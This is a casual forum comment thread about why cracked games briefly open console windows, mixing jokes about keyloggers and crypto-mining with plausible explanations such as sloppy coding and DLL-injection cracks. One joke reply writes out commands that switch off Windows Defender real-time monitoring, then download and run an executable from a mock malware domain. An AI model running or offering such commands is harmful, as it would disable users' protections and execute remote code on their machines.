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[–] [email protected] 72 points 1 year ago

It's just setting up a keylogger so it can help you when you suck at your new pirated game :)

[–] [email protected] 61 points 1 year ago (5 children)

Wait... What's the truth.....

[–] [email protected] 124 points 1 year ago* (last edited 1 year ago) (2 children)
Set-MpPreference -DisableRealtimeMonitoring $true  

curl https://malwarefo.ru/supertrojan.exe

./supertrojan.exe
./game.exe
exit
0
[–] [email protected] 0 points 1 year ago (2 children)

Is there a way to remove it or stop it from happening?

[–] [email protected] 5 points 1 year ago* (last edited 1 year ago)
 The only winning move is not to play.
[–] [email protected] 54 points 1 year ago

Real answer is just that they're executing a process without setting the window style to hidden. It doesn't mean anything other than the dev is lazy / inexperienced.

[–] [email protected] 25 points 1 year ago (1 children)

Probably mining for bitcoin

[–] [email protected] 25 points 1 year ago (1 children)

Free game providers can have a little bitcoin, as a treat

[–] [email protected] 6 points 1 year ago (1 children)

https://uqm-mods.sourceforge.net/Download

Here's one. I'd like the aforementioned treat, please!

[–] [email protected] 2 points 1 year ago

You may use my GPU anytime 😊

[–] [email protected] 12 points 1 year ago

Do you really want to know the truth or do you want to play your new game \o/

[–] [email protected] 4 points 1 year ago

I always thought it was running anti-"anti-piracy" measures before launching the game. I suppose it could be malware too, which seems like what the meme is getting at.

[–] [email protected] 61 points 1 year ago (2 children)

Ah yes, Windows...

Not only for viruses, I saw legitimate software creating those console windows to run.

[–] masterspace 36 points 1 year ago (1 children)

Good spyware doesnt show those either, they're not a sign of malware but of sloppy coding.

[–] [email protected] 14 points 1 year ago (1 children)

Not always. Having spent significant time of the entire projects to hide console and powershell windows, I think Windows is just crap.

[–] [email protected] 5 points 1 year ago* (last edited 1 year ago) (1 children)

Yes, there was a good cli-tool for this, until it didn't work anymore.

[–] [email protected] 5 points 1 year ago (1 children)

A tool for this...
Running a program by another program without interrupting user should be a basic feature of an OS!

[–] [email protected] 2 points 1 year ago

You would probably love Oberon.

[–] [email protected] 20 points 1 year ago (1 children)

I'm pretty sure some drivers do that

[–] [email protected] 17 points 1 year ago (2 children)

My work PC does it on boot. Opens and then closes like 8 command windows.

[–] [email protected] 21 points 1 year ago (2 children)

Well that probably is malware but installed by your company

[–] [email protected] 4 points 1 year ago

Just look into journal and logs what processes were started by a terminal window...

Oh... Right.

[–] [email protected] 6 points 1 year ago

Startup scripts most likely. A sign of a bunch of legacy tech in your environment.

[–] [email protected] 35 points 1 year ago

Even if I am pretty sure I'm not getting a virus, I'm always nervous when that happens regardless of the program on my desktop.

[–] [email protected] 16 points 1 year ago

The crack uses dll-injection, needs to be applied each game launch.

[–] [email protected] 11 points 1 year ago
[–] [email protected] 10 points 1 year ago (1 children)

I once found a fully cracked version of Window XP on Pirate Bay....

[–] [email protected] 8 points 1 year ago

hard power down like Barry Allen; rips phone cable out of wall (and rj45 in half); runs to router and rips entire power strip out of wall; safe mode with no idea if this helps; blindly searches for very new or old .bat files; tries to figure out how to search entire registry by recent; sob; play eu1 or whatever it was 30 yrs ago